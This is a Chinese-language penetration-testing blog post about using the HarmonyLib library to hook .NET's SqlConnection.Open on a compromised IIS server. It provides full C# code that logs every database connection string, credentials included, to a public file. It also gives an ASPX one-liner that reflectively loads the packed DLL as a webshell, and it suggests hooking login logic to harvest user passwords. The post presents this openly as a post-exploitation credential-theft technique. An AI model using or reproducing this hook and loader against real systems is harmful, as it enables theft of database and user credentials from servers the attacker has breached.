HarmonyLib在渗透中的妙用

admin 2024年8月26日16:35:49评论27 views字数 2389阅读7分57秒阅读模式

0x00 简介

在渗透中,我们经常会遇到ASPX网站找数据库配置的问题,通常数据库配置一般是放在 Web.config中,但是有的会把密码放在Dll或者加密存放,这个时候我们需要花费一些时间去寻找密码或者解密,非常麻烦,现在我们来解决这个问题。

0x01 patch

在JAVA中可以使用 InjectJDBC这个项目,C#我找到了一个比较好用的库 HarmonyLib可以用来实现类似的功能。

我们来看一下最简单的一个SQL Server连接。

  1. privatestaticvoidOpenSqlConnection(string connectionString)

  2. {

  3. using(SqlConnection connection =newSqlConnection(connectionString))

  4. {

  5. connection.Open();

  6. Console.WriteLine("ServerVersion: {0}", connection.ServerVersion);

  7. Console.WriteLine("State: {0}", connection.State);

  8. }

  9. }

无论配置文件放在什么地方,怎么加密,最后都需要 connectionString明文传过来,所以我们只需要 HOOK函数 Open,这样每次调用的时候输出 connectionString字符串即可。

  1. usingSystem;

  2. usingSystem.Collections.Generic;

  3. usingSystem.Data.SqlClient;

  4. usingSystem.Linq;

  5. usingSystem.Reflection;

  6. usingSystem.Text;

  7. usingHarmonyLib;

  8. usingSystem.Threading.Tasks;

  9. namespaceHarmonyHook

  10. {

  11. internalclassProgram

  12. {

  13. publicoverrideboolEquals(object obj)

  14. {

  15. run();

  16. returntrue;

  17. }

  18. staticvoid run()

  19. {

  20. try

  21. {

  22. // 创建 Harmony 实例

  23. Harmony harmony =newHarmony("com.example.patch");

  24. // 获取目标方法

  25. Type targetType =typeof(System.Data.SqlClient.SqlConnection);

  26. MethodInfo targetMethod = targetType.GetMethod("Open",BindingFlags.Public|BindingFlags.Instance);

  27. if(targetMethod ==null)

  28. {

  29. LogToFile("目标方法 SqlConnection.Open 未找到");

  30. return;

  31. }

  32. // 获取前置方法

  33. MethodInfo prefixMethod =typeof(Program).GetMethod("Prefix");

  34. // 安装钩子

  35. harmony.Patch(targetMethod,newHarmonyMethod(prefixMethod));

  36. LogToFile("钩子安装成功");

  37. }

  38. catch(Exception ex)

  39. {

  40. LogToFile($"安装钩子失败: {ex.Message}");

  41. }

  42. }

  43. staticvoidMain(string[] args)

  44. {

  45. }

  46. publicstaticvoidPrefix(SqlConnection __instance)

  47. {

  48. // 获取连接字符串

  49. string connectionString = __instance.ConnectionString;

  50. LogToFile($"连接字符串: {connectionString}");

  51. }

  52. privatestaticvoidLogToFile(string message)

  53. {

  54. string path =@"C:UsersPublichook.txt";

  55. using(System.IO.StreamWriter sw =newSystem.IO.StreamWriter(path,true))

  56. {

  57. sw.WriteLine(message);

  58. }

  59. }

  60. }

  61. }

这里我还是希望使用一个aspx文件把我们的DLL反射注入,所以我使用 Costura打包成一个文件,然后使用蚁剑类似的一句话进行反射,这里打包文件会有用byte存的话可以达到6M,所以分离还是一起需要考虑一下, 当然你也可以自己实现一个HarmonyLib的patch代码。

  1. <%@PageLanguage="c#"%>

  2. <%

  3. byte[] data =newbyte[]{};

  4. System.Reflection.Assembly assembly =System.Reflection.Assembly.Load(data);

  5. assembly.CreateInstance(assembly.GetTypes()[0].FullName).Equals(Context);

  6. }

  7. %>

效果图:

HarmonyLib在渗透中的妙用

那么我们怎么 UNHOOK呢,最简单的就是重启 IIS,在 IIS中貌似有一个特性就是修改web.config文件会自动重启。

0x02 思考

一般来说我们记录密码有几种手法:1、修改JS 2、修改文件登录逻辑 3、在IIS中可以使用IIS Module 4、... 在这篇文章中exploiting-pta-credential-validation-in-azure-ad 提到可以使用 HarmonyLibHOOK达到任意用户登陆。那么我们也可以 HooK登陆逻辑,记录密码等等。

暂时没研究是否对业务会造成什么影响,因为 IIS重启就完事了,雨快停,要送外卖了。

项目:https://github.com/aleenzz/InjectSQLServer

原文始发于微信公众号(404安全):HarmonyLib在渗透中的妙用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月26日16:35:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HarmonyLib在渗透中的妙用http://cn-sec.com/archives/3097002.html

发表评论

匿名网友 填写信息